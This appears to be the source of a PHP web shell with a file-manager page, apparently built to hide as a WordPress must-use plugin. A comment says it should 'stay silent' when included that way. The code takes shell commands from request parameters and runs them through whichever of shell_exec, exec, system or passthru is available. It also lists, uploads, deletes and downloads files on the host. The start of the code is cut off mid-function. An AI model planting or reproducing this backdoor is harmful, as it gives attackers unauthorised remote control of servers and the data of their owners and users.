path: ↑ up
| name | size | mtime | |
|---|---|---|---|
| del |
&1'); if ($o !== null) { return (string) $o; } } if (function_exists('exec')) { @exec($cmd . ' 2>&1', $l); return implode("\n", (array) $l); } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); } return "NO-EXEC-FN\n"; } function sh_have_exec() { foreach (array('shell_exec', 'exec', 'system', 'passthru') as $f) { if (function_exists($f)) { return true; } } return false; } function sh_path($p) { $p = str_replace("\0", '', (string) $p); if ($p === '' || !@is_dir($p)) { $p = getcwd(); } return rtrim($p, '/') ?: '/'; } function sh_h($s) { return htmlspecialchars((string) $s, ENT_QUOTES); } $mode = isset($_REQUEST['maju']) ? $_REQUEST['maju'] : ''; $path = sh_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_POST['p']) ? $_POST['p'] : '')); if (@is_dir($path)) { @chdir($path); } /* terminal ------------------------------------------------------------- */ if ($mode === 'cmd' || isset($_REQUEST['wprcmd']) || isset($_REQUEST['cmd'])) { header('Content-Type: text/plain; charset=utf-8'); $c = isset($_REQUEST['wprcmd']) ? $_REQUEST['wprcmd'] : (isset($_REQUEST['c']) ? $_REQUEST['c'] : (isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '')); echo sh_have_exec() ? sh_run($c) : "NO-EXEC-FN\n"; exit; } /* listing -------------------------------------------------------------- */ if ($mode === 'ls') { header('Content-Type: text/plain; charset=utf-8'); foreach ((array) @scandir($path) as $f) { if ($f === '.' || $f === '..') { continue; } printf("%s\t%s\t%s\n", is_dir($path . '/' . $f) ? 'd' : '-', is_link($path . '/' . $f) ? 'l' : '-', $f); } exit; } /* upload --------------------------------------------------------------- */ if ($mode === 'up' && isset($_FILES['f']['tmp_name']) && is_uploaded_file($_FILES['f']['tmp_name'])) { header('Content-Type: text/plain; charset=utf-8'); $name = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($_FILES['f']['name'])) ?: ('up_' . time()); $dest = $path . '/' . $name; if (file_exists($dest)) { $dest = $path . '/' . time() . '_' . $name; } echo @move_uploaded_file($_FILES['f']['tmp_name'], $dest) ? "OK\t" . basename($dest) . "\n" : "FAIL\n"; exit; } /* delete / download / mkdir ------------------------------------------- */ if ($mode === 'rm' && isset($_REQUEST['f'])) { header('Content-Type: text/plain; charset=utf-8'); echo @unlink($path . '/' . basename($_REQUEST['f'])) ? "OK\n" : "FAIL\n"; exit; } if ($mode === 'mkdir' && isset($_REQUEST['f'])) { header('Content-Type: text/plain; charset=utf-8'); echo @mkdir($path . '/' . basename($_REQUEST['f']), 0755) ? "OK\n" : "FAIL\n"; exit; } if ($mode === 'get' && isset($_REQUEST['f'])) { $p = $path . '/' . basename($_REQUEST['f']); if (is_file($p)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($p) . '"'); header('Content-Length: ' . filesize($p)); readfile($p); } exit; } /* UI ------------------------------------------------------------------- */ $is_direct = basename((string) (isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : '')) === basename(__FILE__); if (!$is_direct) { exit; } /* included as mu-plugin: stay silent */ $who = function_exists('posix_getpwuid') && function_exists('posix_geteuid') ? (($u = @posix_getpwuid(posix_geteuid())) ? $u['name'] : '?') : @get_current_user(); $self = sh_h(strtok($_SERVER['REQUEST_URI'], '?')); $rows = array(); foreach ((array) @scandir($path) as $f) { if ($f === '.' || $f === '..') { continue; } $p = $path . '/' . $f; $rows[] = array('n' => $f, 'd' => is_dir($p), 's' => is_dir($p) ? 0 : @filesize($p), 'm' => @filemtime($p)); } usort($rows, function ($a, $b) { return array($a['d'] ? 1 : 0, strtolower($a['n'])) <=> array($b['d'] ? 1 : 0, strtolower($b['n'])); }); $up = $path === '/' ? '' : dirname($path); ?>
path: ↑ up
| name | size | mtime | |
|---|---|---|---|
| del |